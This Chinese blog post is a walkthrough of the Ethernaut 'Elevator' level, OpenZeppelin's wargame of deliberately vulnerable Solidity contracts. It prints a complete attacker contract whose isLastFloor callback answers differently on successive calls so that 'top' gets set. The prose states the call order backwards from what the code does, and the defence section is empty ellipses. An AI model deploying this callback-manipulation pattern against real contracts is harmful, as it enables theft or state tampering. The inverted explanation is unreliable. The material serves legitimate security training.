# 智能合约黑客攻击 Ethernaut:  
 11. Elevator

**Published by:** [Leek DEV](https://paragraph.com/@leekdev/)
**Published on:** 2023-09-28
**URL:** https://paragraph.com/@leekdev/ethernaut-11-elevator

## Content

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Elevator 合约中的 top 改为true。Hack思路goTo 方法里调用的 isLastFloor 方法是外部实现的，直接另外写一个合约，第一次调用 返回true，第二次跳用返回false。 攻击合约代码interface IElevator { function goTo(uint256 _floor) external; } contract ElevatorHack { IElevator public exploitInst; uint256 private timesCalled; constructor(address _target) { exploitInst = IElevator(_target); } function attack() external payable { exploitInst.goTo(0); } function isLastFloor(uint256) external returns (bool) { timesCalled++; return timesCalled > 1 ? true : false; } } Hack案例…防范思路…参考资料….

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